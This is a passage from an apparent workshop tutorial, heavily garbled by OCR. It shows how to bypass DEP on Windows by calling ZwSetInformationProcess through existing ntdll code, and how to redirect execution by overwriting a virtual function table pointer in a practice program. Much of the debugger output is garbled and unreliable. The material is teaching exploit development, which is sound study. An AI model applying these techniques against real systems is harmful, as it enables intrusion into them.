EDX=FPCO4E4F [ntdll. PriodE4F] STE empty 8.8
Jump from BE92120C STE empty 8.4
hact ivitu2Bls. cppel2l.  classmyobi.add walue to arcawloffset,wal ST7Y empty B.6
Address [Hen dump ASCII EIEGEE 402 -
BOOCI0EE| 48 D1 05 0 BH 05 G0 O8] @16, ... eaapaasa
BEGABRG[SE SF 41 Bo| 74 79 7B 65| . sAltape L] PBICFASC| FEAL33OC| WS2_32.closesook:
BA534816|5F £9 6E 65| G6F 48 48 6| infole. 2a1CFacE Sgéggggg
GEI5401%| 95 DE EC SE[&A 21 15 AF| T I=Fjti- BRI e e L
BAE934E28| FF FF FF FF|FF FF FF FF HREREEFE B o
BEI24625| FE FF FF FF|B1 0@ o0 68| @... s
QETS4E5E0| 40 21 95 00|60 00 05 98| EL15..... R
BEIS4EEE| ZE 2F 41 56|60 79 &F &2| . FAUmucb s
GEO24B40| 50 40 40 @640 21 90 66| jEE.L15. e
BETS4E45| 81 B0 00 BE[ 35 19 9 668, . . Hid. AL

So if 0x001CF070 is the position -1 then the value 0x001CF9EC is the position (0x001CFI9EC -
0x001CF070) /4 - 1 = 0x025E = 606. So we should overwrite the position 606 to overwrite directly



the return address, but it is impossible, because the application does not write to a position greater
than 255. This is why we must use another technique, now to overwrite the pointer to the virtual
function table.



The classical DEP bypass with zwSetInformationProcess

Set up the debugger, to use the symbols

To do the DEP bypass we need the windows symbols, otherwise it is quite difficult to find the
position of the required functions in the ntdll.dll, or kernel32.dll or other windows dIl.

OllyDbg - hacktivity 2013.exe

File View Options  Window Help
(44X Fun Fg ! L|E|
E i Fause FlZ
-

Frdaipez Close Alt+F2 &
;;igiggg R S55: [EBP+f
7rde1E6E Step into F7 [EEF+181,EF
vraelall SS: [EEP+1E
Tr461A14 Step over Fa
freiPisll Animate into Clrl+F7
Fraelala . nformat ionf
;;12%8&5 Animate over Ctrl+F8 2451096
?;32%855 Execute till return Ctrl+F9
e Execute till user code  Alt+F9
7iieinse d
i Open ?r ear run trace
FraclEzg Trace into Cirl+F11

Trace over Ctrl+F12

Set condition Ctrl+T
Address Zl@se run brace
coec e
BRSF4516 Hardware breakpoints
HEZF4E1S
e
33353333 | Zall DL expark
oot
DAt Select impart libraries
BESF4BE5S | |
EE&E?EE‘E Ut s Cacal caca cars cacs o caca | T

Add the path of the symbol files, it can be used from the network, if your computer has internet
connection (then use the ). Or what I did I downloaded the symbol files from ... Install it to your
local computer then point to the install directory.

Browse for Folder

Please select directory containing files with symbalic
debuaging data:

= . Symbols ﬂ
| ACM
| AX
; COM

| CPL J
, DLL
, DRV

; DS ﬂ
QK I Cancel |




Find the necessery function (zwSetIinformationProcess)

The job of the attacker is to change the value of ProcessExecuteFlags for the actual process. In this
way we are able to enable the running of the code. To do this the attacker should run some code, to
change these flags. OK, the problem, we should run a code, to be able to run our code, so it is an
infinite loop.

How can we step out from this loop. Instead of running our code. Let us call a function of the
windows which turns off the DEP. There are two questions, which function to call, and what
parameters does it require? The required function is the ZwSetInformationProcess resides in the
ntdll.dll. Let us try to find it.

Click to the View / Executable modules

OllyDbyg - hacktivity2013.exe

File —| Debug Options Window Help

Log AtH |F -

|_—

Memory Alt-+M !

Heap L131

204l Threads BEn
;;1 Windows i

SN 1o

And from the popup window choose the ntdll.dll by double click to it.

[ Executable modules - 10| x|

Baze Size Entiy Harme File wersion Path -
HEZFEEALD | BAREFBEE | BESF LHEC| hackt ivi CrUsers~Administrator~Oocurments~Uisual Studic 20
F24CABAA | BEEAZEEA| FI4EZD48 ) MSUCR9E | 9.88,38729. 4148 | Ci~Mindows~WinS45-~186_microsoft.we9d, crt_1fcE8b3b2
FA4ACARAR | AAREREEAE| F49C1564 | weshtopip| 6.8, 6888, 16286 | Cr~lindows-Systen32~wshtepip.dll

TEEE8EE | DOEIEEEE| FEE91424 | mewsock | &.8.6888, 16396 | Ci-WindowsssystenSl-mswsock.dl 1

FECEARAR | AAR0CEAR| FEDZEYFS| kerne LE32| 6.8 6881, 18808 | Crwlindows«system32kerne32.d11L

FEOCE8EE | oooz0Eaa| FS0C1434 | WS2_32 . 0. 6888, 16385 | Ci~lindows~system32~N52_32.dL1

FEBOEEAD | BADAREHE| FEBEIFAE | mswort T.8.6882, 12805 | C:~Mindows~systend2~msucrt.dl L

FEOCA8EE | ooncsaaa| FEEQBCC] | ADVAPISZ| 6.0, 6882, 12605 | Ci~Windows-system3Z2~AOUVARPIZZ.d1L

FrEBARAR | ARRNC3EAA| FF1ARZER| RPCRT4 E.@. 6881, 128660 | C:-llindows-system32~RFCRT4.dL L

Fr46a8a8 661 27888 ntdll E.0.6881, 128660 | C:slindowssswstem32~ntdll.dLL

Fr59a8a8 | BRREEEEA| FFE916E8| NSI 6.0, 6881, 18A80 | C:~llindows~sustem32~H5I.dl L

d|

Now right click anywhere in the CPU window, and from the popup menu choose Search for /
name (label) in current module



OllyDbag - hacktivity2013.exe

File Wiew Debug Options Window Help

Bldx| »inf w4 ¥ Y| + L[E|M|T|W/H[C[/|K|B|R]|..

[8 cru - main thread, module ntdll

, e i
Tr4E1BDE Badp 51 [EBP+8] E
FraciBec Copy k T E
77461 BEE } +161, EAX B
Fraelell Binary F [EEF+18] E:
FrAE1E14 EE
Fr461ais Aszemble Space e
Tr4einly . E
;;EE%S%E Label [EgalnnPrncess =
o2 2| oredoon } ¢
7ra61024 Run trace . :
i ;
i =
L icinon Mew origin here Ctrl+Gray = E
3

Go to . B

Follow in Dump 3 S
Address | Hen | i
GOSF4000] 48 o _ _
aasF4aas[ 2E o Find references to 3 Mame in all modules
AESF4E10[ 5F &
EEEF4nia|os B View 3
BESF4E26| FF F Command Cirl+F
GazFapzz| FE A Copy to executable 3
ARSF4E3E| 48 3 ) Sequence of commands Ctrl+5
pacF4n3a[2E 3 Analyss o I

Then scroll to the zwSetInformationProcess (or just start to type it's name, to jump there). When
you found double click to it

El names in ntdll - O] x|

N

_

Address | Section | Tupe Hame

rra4CE244 |, rent Export cwSetDef au L tHardErrorPort
rra4CE25d | L tent Export cwietDetaultlocale
Fr4CE26d | L tent Export cwSetDefau ltUILanguage
rraCE2vd| L et Exnport cw3etOriverEntrylrder
Fr4CE28d| L tent Export cwSetEaFile

Tr4CE294| [ tent Export cwSetEvent

rr4CE2ZAd | L tent Exnport cwietEventBoostPriority
Fr4CE2Bd | L tent Export cwSetHighEventPair
Tra4CE2Cd | . rent Export cwSetHighWaitLowEventPair
rra4CE20d| L tent Export cwietInformat ionbDebuglbject
Fr4Cd 24| L tent Export cwSetInformationEnlistment
rra4CEZEd | L et Exnport cwietInformationFile
FraCE2Fd| L tent Exnport cwSetInformat iondobObiect
Pr4CE204 | L tent Export cwSetInformat ionkey
rr4CE3ld| L tent Exnport cwietInformat ionlbject
Fr4CE324 ) L tent Export cwSetInformat ionProcess
rracdadd |, rent Export cwSetInformat ionResourcelan ager
rr4CE33d) L tent Export cwietInformat ionThread
Fr4CEg4d | L tent Export cwSetInformat ionToken
Fr4Caa2d| L tent Exnport cwietInformat ionTransact ion

=

As you will recognize the disassembly window jumps to the start of this function

rracgzad
rrdcEzEa
Tr4CE22E
rr4cs3a
rr4csaaa
Tr4CE3ag
rr4Cs3se
Tr4CE23E
rr4csz4a
rr4csadz
Tr4CEad4
rr4cs3d?
Tr4CE24E
rr4CE2Ea
rr4Cs3s3
G L=t
rr4Csss?
rr4CE2EE
ol == 11

ES 21818880
ER B8E3FEYF

FF1Z2

C2 1888
L]

B2 22610008
ER 88a3FEYF
FF1Z2

CZ 1eaa

L]

B2 223818866
ER B8a3FEYF
FF12

C2 1668

L]

B2 248188680
ER 8883FEYF

FF1z
C2 @268

[§ cru - main thread, module ntdll

MOW ERH, 131
MOL EDX, FFFEBSEE
CALL DHDRD PTR DS:L[EDX]

MOL ERE, 132

MOL EDX, FFFEBS88

CALL DWORD PTR DS:LEDX]
RETH 18

HOF

MOU ERX, 123

MOY EDX, FFFEBSEE8

CALL DWORD PTR DS:LEDX]
RETH 18

HOP

MOU ERX, 124

Moy EDF, FFFEBZ6E8

CALL DWORD PTR DS:LEDX]
RETH 2




We want to call the zwSetInformationProcess. To do it we must know the required parameters of it.
After some google search (type ntSetInformationProcess or zwSetInformationProcess, the nt or zw
prefix has not any importance for us, the nt used to mean the public version of a function, while zw
used to mean the internal version of the same function, what is not supposed to be called by users,
so not documented most of the time. Most of the time the nt version of a function does nothing else,
but calls the zw version of the same function.) you find the following information:

it requires four parameters:

NtCurrentProcess: a handler to that process which information block you want to modify
ProcessExecuteFlags: a code what we want to change

&Executeflags: pointer to the new value

sizeof(ExecuteFlags): the size of the data to set

We should set up these parameters as follows:

@ NtCurrentProcess the value -1 (OxFFFFFFFF) always means the actual process

@ ProcessExecuteFlags The value means I want ot set the processexecuteflags (we need now
the value 0x22 here)

® &Executeflags pointer to the new value (we want to set the value to 0x00000002)
@ sizeof(ExecuteFlags) the size of the data to set (now it is 0x00000004)

Most probably these required values are set just correctly somewhere within the windows dll-s.
Why? Because there is a way in windows to turn off the DEP protection for an application. If it can
be turned off from windows, then it must be programmed, how to turn it off. We just have to find it
and call.

OK, how to find. It is very easy, one thing is sure, the turn off code will call this
zwSetInformationProcess. So let us enumerate, from where the zwSetInformationProcess is called,
examine those callings, and select the one with the values need for us. To do it right click to the first
line of zwSetInformationProcess, and from the popup menu select Find references to / Selected
Command



[3 cru - main thread, module ntdll

Tra4CE324| BE 218186EA MOW ERX. 131 -« IF
Fr4CEZEY| BA BEB3FEYF T 'E
e Zecp E
rr4CEIsz| o ot g t
7PACEIZA| BS 32010808 ginany , i
e E
7r4CE346| C2 1000 Assemble SIEE £
FP4CEI43| 9@ Label : _|
TracESdd | BE 33818868 E
Fr4CcES49| BA BEBSFEFF Comment A C
Frd4CE34E( FF12 . F
FrACEEEE| G2 1ee@ Breakpoint k £
Tr4CE353( 98 z
FPACEZEd | BE 248180068 Run trace » e
= f
FPACCIZER| 2 BEAA Mew origin here Cirl+Gray * = E
Go to » E
Follow in Dump k £
Add Hen d BOZEEDDH| BOSFLZTF] hackt
Tess |\ Ten SWPR Search for 3 —:I BECEEDZ4| BESFZ28G|ASCII
HESF 4$EEE
BESF4EE2( 2E 3F 41 E& | | |
el
Il B B View L Immediate constant z
gostancs|FE EF EF PP 1 Copy to executable BEZEEDAC| BOOEBEEE
- BEZEEDCH| PERGREEG
HESF4AZE( 2E 3F 41 E& Anmyms » ARZEEOS4| FRRER40Z
HESF4E4E( A 48 46 BE| 4 AEZEEDSZ| FRREREEE
ABSF 4050 B8 12 oA og Appearance 3 BUZBEDLC L HO00EIEL _
ARCEAGRCS| GR AE (AR [E OEZBEDSE| BESF346C| hackt i

We will get some findings, for me it was 9 different calls + the function itself. Start to examine them
one by one. Double click to the first one and examine the code before the call, what parameters it
PUSH to the stack. If not the same, what we need similarly check the second one and so on. For me

the fourth one was the good:
7Y7428514E] 8370 82 B8 CHF DWORD PTRE S5:[EEP+21,8
77485 14F [« BF 24 192B8888 JE ntdll.77487CEE
Tr485155 6A Bd FUSH 4
77485157 2045 @S LEA ERX,DWORD PTR S5:[EEBFP+2]
Tr4851EA( Ea@ FUSH EAX
Tr48515E( 6A 22 FUSH 22
77485150 &R FF FUSH -1
rr42515F E& CAaladan CALL ntdll.ZwSetInformat ionProcess
7485164 | «ES DEZEEBEE JMP ntdl L. Fr487CEE
Trd485169( 9@ HOF
TYr4851&R( 9@ HOF
Tr48518E( 2@ HOF
Tr48516C( 2@ HOF
Fr485160( 9@ HOF
7742516E| 8BFF MO EDI,EDI
Tr48517E( B5 FUSH EEF
77485171 SBEC mMal EEBF, ESF
77485172 B1EC 28820888 SUE ESP, 2228
77485179 Al CA41E27FF MO EAX, DWORD PTR DS: [FrS241CA]
rrdCE324=ntdl l.2wSet Informat ionProcess

[ rReferences in ntdlk.text to ZwSetInformationProcess

Address

Dizassembly

Camrment

rraalala
Tr4eRACT
T747E2BA
rr43515F
Tr4E7VESR
Tr4a1vaz
rr4CE324
rr401A%F
Tr4F12C1
rr4Flzic

CHLL ntdll.ZwSetInformat ionProcess
CALL ntdll.ZwSetInformat ionProcess
CALL ntdll.ZwSetInformat ionProcess
CALL ntdll.ZwSetInformat ionProcess
CHLL ntdll.ZwSetInformat ionFrocess
CALL ntdll.ZwSetInformat ionProcess
Mo ERX, 131

CALL ntdll.ZwSetInformat ionFrocess
CALL ntdll.ZwSetInformat ionProcess
CALL ntdll.ZwSetInformat ionProcess

[Initial CPU selection)

If we choose the fourth finding, the code segment from 0x77485155 (the address for you will be
different because of the ASLR, but the last four bytes used to be the same) does all the parameter
setting. There is only one problem, to the third parameter it sets [EBP+8]. If you recall it means
[EBP+8] must be 0x00000002. So to use this code we must set the [EBP+8] to the value 2.

To be able to set the [EBP+8] to value 2 we must find a code gadget what does it. Let us search for



a command which does this, for example search for a MOV [EBP+8], 2. To do it right click to the
disassembly window, and from the popup menu select Search for \ Command:

0OllyDbg - hacktivity2013.exe

File Wiew Debug Options Window Help

Bl x| »inf w4 1 Y| + L[E[M|T|WH[C[/|K|B|R]|..

[8 cru - main thread, module ntdll

Fra4sE145| - BFEE V1B4B408 JHE ntdl L. 7F40B5EC
Fra2El4E| 23370 82 bE CHMF DWORD PTRE S5:[EER
FrasEl4F |~ BF24 192BEEHE JE ntdll.77487CEE
s o et

cascicyl oo T _— |

3

ConE2 e C.upy Sequence of commands Ctri+5
Frd48515F Binary r Constant
Fra851ed , ,
;;igg%gg Assemble Space Binary string Cirl+B
Fr4EE1ER Label : Mext Cirl-+
Fra48E1er .
] | e
;;iggi;? (== Erealq:mint »
Fragcival siEc)  Run race ’

Trd4CE32d=ntdll

Mame (Jabel) in current module  Cirl+M
Mame in all modules

-

T T ITIT 1T T T TR

All intermodular calls
All commands

All sequences

Follow Enter Al constants I
Mew arigin here Ctrl+Gray * All switches il
Address [Hex d . :
SSEF:SSE 3? Eé Gu"tc 4 All referenced text strings
Follaw in Dump g
BESF4E1E( 5F &9
e R User-defined label
gosrdaza) FF FE' User-defined comment
a05Fd0%0l 40 o1l Find references to | SacEner| basabang
socF4paal en 4ol View > 9958E054| gananans

In the new popup window type the command we search for MOV dword [EBP+8],2 then click to
the OK button

Find command x|

[

oty dword

¥ Entire black: Fird Cancel |

there is only one place at 0x774CC2F3, which set [EBP+8] to the value 2 (you can use the CTRL +
L to find the next, but now you will not find more)

OllyDbg - hacktivity2013.exe

File View Debug Options Window Help
Bx| win| wi HL A 4 L[E/M[T|W/H

Tr4CC2EF(~EB BF JMP SHORT ntdll.7r4CC2AS
Tr4CC2EY| B1FF HEABEBZ8 CHMF_EDI, 38EE80EES
Fr4CC2EF(~74 C5 JE SHORT ntdll.774CC2EE
Tr4CC2F1(~EB CB JHMP SHORT ntdll.7r4CCZEE
Tr4CC2F3| Crd45 B8 AZ@BEEml MOL DWORD PTR SS:[EEF+81,2
7r4CC2FA(~ES SFEBEFBFF JHP ntdl L. FFP42513E
Tr4CC2FF| 32CAa ®OR AL, AL

Tr4cCaal [ ~E9 GEB9FBFF JMP ntdl L. FP4E7CES
Frd4CC3@e( 57 PUSH EDI

Tr4CC3a7( 6A B4 FPUSH 4

Tr4cCcaas| 8045 BC LER ERH, OWORD PTR 55:[CEBF+C]
Tr4CC3ac( 5@ FIUSH ERX

rrd4cC3abl e 22 22

Tr4CC38F( 6A FF -1

rr4CC211) ES SESBFFFF ntdll.ZwlueryInformat ionProcess
rr4CC31&( S5CH T ERX,ERX

Tr4cCals|~BFe0 9E05FCFF JGE ntdl L. FP4998E64

Fr4CCI1E(wES Cld2a188 JMP ntdll.F74EBESES

Fr4CCE22| FFPE F2 PIJSH OWORD PTRE SS: CEBP-21




OK, it is perfect, sets the correct value. But immediately after it there is a jump. It is very annoying
for us, because it is a fix jump, we can not controll, and if it fixes to a code, where it does some
problematic stuff we can not use this code. To figure it out let us follow the jump by right click to
the JMP instruction, and from the popup menu select the Follow command:

0llyDbyg - hacktivity2013.exe

File Wiew Debug Options Window Help

Sldx| winf w4 4| | +f L[E[M|T|W/H|C|/|K|B|R]

[3 cru - main thread, module ntdll

7r4CCZEY | ~EE_BF JHF SHORT ntdll.r74CCzAs
FP4CCZES| B1FF BEBEEEZ2E | CMP EDI, SOBEEGEL
rr4CCZEF| ~74 CE JE SHORT ntdll.7r4CCZEE
rr4CCZF1 | ~EE CB JHF SHORT ntdll.774CC2BE
CPACC2RZ] CP4E B2 B2EAEEEI MOU DWORD PTR SS: [EBP+2]1,2
rr4CC2ZFA| ~ES ZF2EFEFF JHP ntdl L. FP48E13E
rr4CCEFF| 3208 #OR AL« AL Backu
Fr4CcCzEl| ~E9 cBESFEFF JHP ntdl L. FP4EFCeE P
rr4CC2as| EF PUSH EDI Copy ¥
N OO —— =
Sy i ’
rr4CCZ8F| 6H FF Assemble Space
Fr4cCzll| E2 2ESBFFFF CALL ntdll.Zwluery Label
rr4CC2le| 85CA TEST ERX,ERX
rr4CCz1s| ~aFsh IeDSFCFF | JGE ntdll. 77499364 Comment H
Fr4CCZ1E|vES_Cl42B186 JHF ntdll.7F4EBSES . =
rr4cc22a) FFYS P2 PLUSH DWORD PTR SS: Breakpoint 4

rr48513E=ntdl L. Y7F48513E

Run trace L
Address [Hen dump ASCIT | — b ack1
BOZFA000| 43 51 SF G0 06 00 66 00 @18, ... New originhere  Ctrl+Gray = | ASCL
BRSF4002[ ZE OF 41 56|74 73 78 65| . 7AUtupe Go to 5
BRSF4A16| SF 63 6E 66| 6F 4@ 48 88| infoRe.

We arrive to position 0x7748513E. Here it checks, if the value at [7FFE02F0] is 0x40 or not. As we
can see now it is going to be 0x5F. So the test will give no. It means the jump after it (at position
0x77485145) will be taken. Let us follow it this jump ont the same way. Right click to the JNZ
instruction, and from the popup menu select the Follow command:



OllyDbag - hacktivity2013.exe

File View Debug Options Window Help

Bl x| winj wijv 1) 4| + v|E[mT|W|H|C|/|K[B|

[3 cru - main thread, module ntdll

TTOSC1SE| FBEE FOBZFETE 41 TEST EVIE FIR D5:[ FFEGZFEI, 48
PPASC14E | BESE 7IE4R4RE | JNZ ntdll. 7P4DBEEC
FrAEE14E| 537D BE BA CHP DWORD PTR 55:[|  Backup b
F7AZE14F [~ BFEd 192EREEE | JE ntdll. FrdETOeE

PPAZEICE| R B4 PUSH 4 Copy »
FFASE1ET| SOME BE LER EAX,DWORD FTR .
7742E1E0| E@ FUSH EAS Binary 3
PPASEIEE 20 PUSH 22

77435150\ &R FF FUSH -1 Assemble Space
FPASEIEF CiEE EER CALL nedll.ZuSetIn| | ,
rrdcEies BEZERBAR JHF ntdll.Pr4arreg|  Labe

FrA4EE1EA Comment H
e sreakpon »
F742E1E0| S@ MO

PPABE1EE MOY EDI,EDI e g
Fr4SE17E| ES FUSH EEF
FRAEE1T1 HMOU EEF, ESP |

rr40asEC=ntdl l. 7P4085EC

Mew origin here Cirl+Gray *
Go to 3

As we can see here are a lot of jump to the position 0x7748514B. It may look familiar. It is very
close to 0x77485155 which as you can recall does all the parameter settings for us. So if any of the
comparison is not true ie. If [EDI+1A] is not 53 or [EDI+1B] is not 52 then we jump to the correct
place, to call zwSetInformationProcess.

OllyDbg - hacktivity2013.exe

File WView Debug Options Window Help

Slex| win] uiv ¥4 A +f L[E[M|T|

[3 cru - main thread, module ntdll

rrd408SEC| 26@7YF 1A 53 CHF B¥TE PTR D5:L[EDI+1A1,52
FP40BECHE | ~BFBS BE4BFEFF | JHE ntdll.77423514B

rr40BcCe| SB8YF 1B 52 CHF EYTE PTR DS:L[EDI+1BI1,S2
FY40BECH| ~BF 85 FB4BFEFF | JHE ntdll.7742514E

FP40BE0E) 2340 82 4@ OR DWORD PTR S5:[EBP+21,4@
rr40eczn4)| ~E9 YZ24BFEFF JHMP ntdll.FP4E514E

Fr40as0e| 66:83F8 2F CHF A=, 2F

FP40Bs00) ~aF24 P21PFOFF | JE ntdll.774A105E

rr408SEZ| 3308 H“OR EAK, EAX

Fr40BSES| 66:33FRA 86 CHE DX, &
7r4085EY| BFI5CA SETHE AL
rr408SEC| 43 DEC ERX
Fr40BSED| S3E8 86 ERX, &

7r4085FE| 48 ERX

Fr408cF1 | ~E9 EBEVAFFFF ntdll.774CE8E1
rr4085Fs| 8350 FF EYTE FTR S55:[EEF-11,EBL
7740BsF2| 2250 FOD EYTE PTR S55:[EEP-21,BL
Fr408cFC) Ced4t FC oBa EYTE FTR SS5:[EEF-41,8
Fr40as6E)| -EB A9 SHORT ntdll.  r40868E

So we know now the following, if we can jump to the position 0x774CC2F3 then it sets the
[EBP+8] to the required value 2, then runs through the jumps, and finally we arrives, to the call of
zwSetInformationProcess, what turns off the DEP. It is perfect for us This nice MOV [EBP+8§],2 not
only sets the correct value, but also arrives to the DEP turn off code also required by as. Just perfect
until now. Let us figure out what happens after it. There is another jump immediately after the
CALL zwSetInformationProcess, follow it again by right click to JMP then select Follow from the
popup menu:



[ cru - main thread, module ntdll

CHF DWORD_PTR_S5: [EEF+51,A8
JE ntdll.774870EE
FUSH 4

LEA ER:,
PUSH ERX

rr43514E
Fr4ac14F
rr4251E5
rr4351s7
774251E5H
7r4aE1ER

8370 a3
~EFa4 19

SH B4
5045 a3
=1t

22

[5[E)
2EAEEE

FUSH 22

OWORD FTR S55:[CEEP+31]

As we can see there are some function end, it sets back the registers, then return. We have here a

77455150 FE FUSH -1
Fr4851EF CAE1R4a8 CALL ntdll.ZwSetInformat ionProcess
;;332%23 EE2EREEE JHP rtdl L. PP4E7CEE
ricsen e
oaotteC o
77ABC1EE MOU EDI,EDI l
Fr4EE1Te PUSH EEF Assemble Space
FFARCIF1| SBEC MO EEF, ESF
TPABCIFE| BIEC 28@2eEGE | SUE ESP, 220 Label
Fr42c517a| Al MOL_ER; DWORD _PTR O .
TrAUTCEE=ntdl L. FrA07CEE Comment i
Breakpoint
Run frace
Addiess |Hew dump ASCII
BBSE 4EEE I
e s dad g Ry i |
—LnTto . = &=
BESF4B1E| 9B FC O 5B 6F 83 20 74| Evrioe—t New originhere  Ctrl+Gray
BBSF4628| FF FF FF FF|FF FF FF FF Go to
BASF4GZ2|FE FF FF FF Gl G5 G5 BAls 6.,
DoSPaocnldl ol of DA ba 29 99 2| RlA..... Follow in Dump

nice return, so we are able to call another function ie. Our shellcode.

0llyDbg - hacktivity2013.exe

Window Help

File Wiew

Debug Options

Sl x| »inf w4 4 ] =+ vL[E[M|T|W H]

[Bcru-m

Tr4EFCeE
G ==
[ = M =
i =Tl M
Tr4avCya
Tr437CYE
[ ==
Tr4avces
i =T =
Tr4EFCEE
Tr4avcas
Tr437CA
Tr4EFCAA
7r4avCAL
Tr4E7FCAS
T74E7FCAE
TP4avCAC
Tr4E7FCEL
i 1= M =)

214E 34 BEERGEES
EF

SE

=11

C2 a4a8
Fr46 34 BEEREES
vEEBE E01 306888

ES AIFFFFFF
wE9 EE13HGEE

FPa@ 54 GEBEEES
~GFS5 30306600

ES 91FFFFFF
wE9 ZE9CHEEE

g1
EZ 1Z268HEER

s4ca
w BF2S SH22ARAR

thread, module ntdil

OR DWORD PTR DS:[ESI+341, SHEEEEEEA
FOP EDI

FOF ESI

FOF EEF

RETH 4

TEST DWORD_PTR D5: [ESI+341, 38888888
JHME ntdll.7r4E8FER

PUSH ESI

CALL ntdll.r7437C37

JHMP ntdll.Fr4E8FER

TEST DWORD PTR DS:[EAX+241, 200EEEER
JME ntdll.7r421308

FUSH ERX

CALL ntdll.77437C37

JHP nedll.Fr491208

FUSH ECk

CALL ntdll.774237FCCE2

TEST AL,HL

JHE ntdll. Fr4E3FE3

Let us try to call it, to see what happens. Go back to the actual position by right click to the

disassembly window, then from the popup menu select Go to \ origin




OllyDbg - hacktivity2013.exe

File Wiew

Debug Options

Window Help

Slex| »iuj wijv &4 3 +f L|E[M|T|W|H|Cc|/|K|B|R|...|5S

[3 cru - main thread, module ntdll

Tr487CeE
Tr4avCvE
Tr487CYE
TrdE7YCEY
Tr4avCve
Tr4S7CYE
Tr48rvCE2
Tr4avCces
Tr4avCcas
Tr487CEE
Tr4EvCaz
Tr42vCeA
Tr42vCAa
Tr487CAL
Tr4E7CAG
Tr427CAR
Tr4S7CAC
Tr487CEL
Tr42vCE2
Faral Y- M =5

214E 34 BEEEAGEE

C2 8488
Fr4e 24 8880063
vEEBE 68138888

ES ASFFFFFF
wE9 EE13E6E

Frd@ 34 BEGEEES
~BFS5 3p3CEEE

ES 91FFFFFF
wE9 ZEICHEEE

g1
ES lzaB8aaa
S4Ca

~@F2E CAZ22REEA
=3 SEAlE4RE

Address

Hen dump

BRZF 2460
BEZF2474
BRSF347C
BEZF 3424
BEZF 2420

Try to figure out, how we can call our code

Virtual Function Pointer overwrite

Code of
function 1

Code of
function 3

Code of
function 2

Virtual function table

Pointer to function 1

Pointer to function 2

Pointer to function 3

a Regizs
o ’ ok
Binary [ _I EEE g
Assemble Space i
Label : EDI @
Comment z e EIT 2
Breakpoint r E é
Run trace k Z B
:
Mew origin here Ctrl+Gray * O &
I3
Follow in Dump r Previous Minus L
Expression Ctrl+5 il
Search for » o =
Find references to » Previous reference  Alt+F7 L
View r Mext reference Alt+F8
EE) WE2_ZE. ol
Copy o executable b oerncs] hoeear] ot
Stack
LOCAL A
Variables
Position 1
Position 0
Pointer to Virtual Function Table

First recall, how the calling happens in case of objects.

ESP
increases

The computer search the pointer to the virtual function table on the stack. For us it is done with the:

MOV EDX,

Then selects the function it wants to call, now it is the 0" function so for me it is done by:

[ESP+20]



MOV EAX, [EDX]
Then we simply call it:

CALL EAX

So our job is simply to modify the destionation of Pointer to Virtual Function Table to somewhere
else, what we can control for example to the stack

Code of Virtual function table
function 1 \ Pointer to function 1 ‘

Pointer to function 2 | |
\ Stack
Pointer to function 3 |
LOCAL A
Code of )
function 3 \ Variables ESP
\\ increases
Code of \\\ Position 1
Exploit ; Position 0
(,Pointer to Virtual Function Table
Code of

function 2

It can be seen in the following code:

[3 cru - main thread, module hacktivi

> BBE424 PR MOU EDX, OWORD PTR S5: CESP+261] hackt ivi.B823F34:
HESF148E|] « SEBZ MOY ERH,OWORD FTR D5:LCEDR]

BEEF14E0) ) . SD8CE24 2484601 ) LEA ECx,OWORD FTR S5:[ESP+4241]
BE3F1414|1 . 51 PUSH Ecs

AEEF1415)) « S04C24 24 LER ECH,OWORD FTR 55:[ESF+241 __J
BEZF1419)] . FFDA CALL ERX

EEZF141E|] ~E? 940086605 JHP hacktivi.@082F14B4
HESF1428|] » S3FE 83 CHF EBX,3

aeeFiaza|| -BFes SEeemess| | JMZ hacktivi.oB3F14B4
HESF1429)) « S3FF 82 CHF EDI,2

pacF14zc|| -waFes sZeesesal| JNZ hackt Lvi.BRSF14E4
HEZF1422)) . BB4C24 14 MOU ECH,OWORD PTR S5:[CESP+14]

AEZEF1435| | « BFEFF424 15 MOUSH ESI,WORD PTR 55: [ESP+131
BEZF143E|] . 51 FUSH ECX

BEZF143C)] . 56 FPUSH ESI
AESF1430)) « 658 24335FAA PUSH hacktivi.BB83F3324 ASCITI "READ at
BE2F1442)1 . FFDS CALL EB

P
AEEF1444)1 . 2B44B4 28 MOU ERX,OWORD PTR S5:[CESP+ESI#4+3E]
BEZF1443|] . 68 B8R FUSH_8R

radiz = H (18.) &
SESF 1440 So424 cocdoo] LED EQH, DWORD PTR o [ESP+400]
Stack Dot [OOZBELGA1=AORF 3460 [ hackt (W1, OOSF 260
EDX=F74C4BE4F [ntdll.774C4B4F]

Jump from BASF1Z0C
hackt ivituw2Als. cpp: 123,

DlaSSNHDbJ add_ualue to array[nFFsEt Valuels

e N e L

As we can see here is a CALL EAX instruction, we should find, how the value in EAX is set. At
position 0x008F1407 there is mov EDX,[ESP+20] instruction. If we check the stack, we will find
that ESP+20 (0x002BED®60) this is position -1. In the next line MOV EAX, [EDX], we take this
previous value, and treat it as a pointer, and the value there is loaded to the EAX register.

To change where to jump (we want to jump to the position 0x774CC2F3, where the MOV
[EBP+8], 2 resides) we should do the following:



Modify the value at position 0x002BED60 to something, for example to 0x002BED64 what is the 0
position of the array. Then set value at 0x002BED64 to 0x774CC2F3. First do it manually, later
we will do it through the application, but first we just test the theory, if it were work.

Right click to the position 0x002BED60 (position -1 on the stack) then from the popup menu select
Modify

Address ]
Showe ASCII dump

Show UNMICODE dump

Lock stack

LA L )

ASCII "READ at Copy to dipboard Cirl+C
+3[] | |
rradla = A ii4. Edit Cirl+E

Push DWORD ~
Pop DWORD

et ualusl: L
ot ooy oearch for address

HEZEEDZ4| BEZF3IS0E i i o
o0soEDas| Sheoaaes Search for binary string Ctrl4+8

AE2EEDZC) BE006402

GEZEED 35 [lss]s]s)ss ] &
GEZEED4S| FEOCISBC Go to ESF
GEZEED42| BEZBFEIC Go to expression Ctrl+G

BEZEED4C| DREEEDEE
AAZEEDSH| HEREEEEE Follow in Dump
AEZEEDSY | GEE@E402

BEZEEDSS| DOBEE0EE
ARZEEDSC| AERBAREC Appearance 3
BEZEEDEE| BESF34EL | b war oot

BEZEEDSS | DEEEE402
BEZEEDES| DEEEEDET
EEZEEDEC| BEZBEEBE
BEZEEDTE| 74200808 ASCII "PE™
BEZEEDT| BEZBEDEG

In the popup window type the new value (the address of position 0 on the stack) for me it was
0x002BEF64.

Hexadecimal IW
Signed IW
rzigned IW

Ok I Cancel |

Now set the destination of the call, it must be the address of MOV [EBP+8],2 what was
0x774CC2F3 for me, and it must be set on the position 0. To do it right click to the 0x002BED64
and from the popup menu select Modify.



Address »
Show ASCII dump

Show UMICODE dump

Lock stack

Copy to dipboard Ctrl+C

— ST T T

Edit Ctrl+E
BSCII "EEAD =  Push DWORD i
Pop DWORD

Search for address
EEEOREEE|  Search for binary string Cirl+8 |

HEZEEF44| FEDC338C =
HEZEEF43| BEZBFAZS

Set walusl;

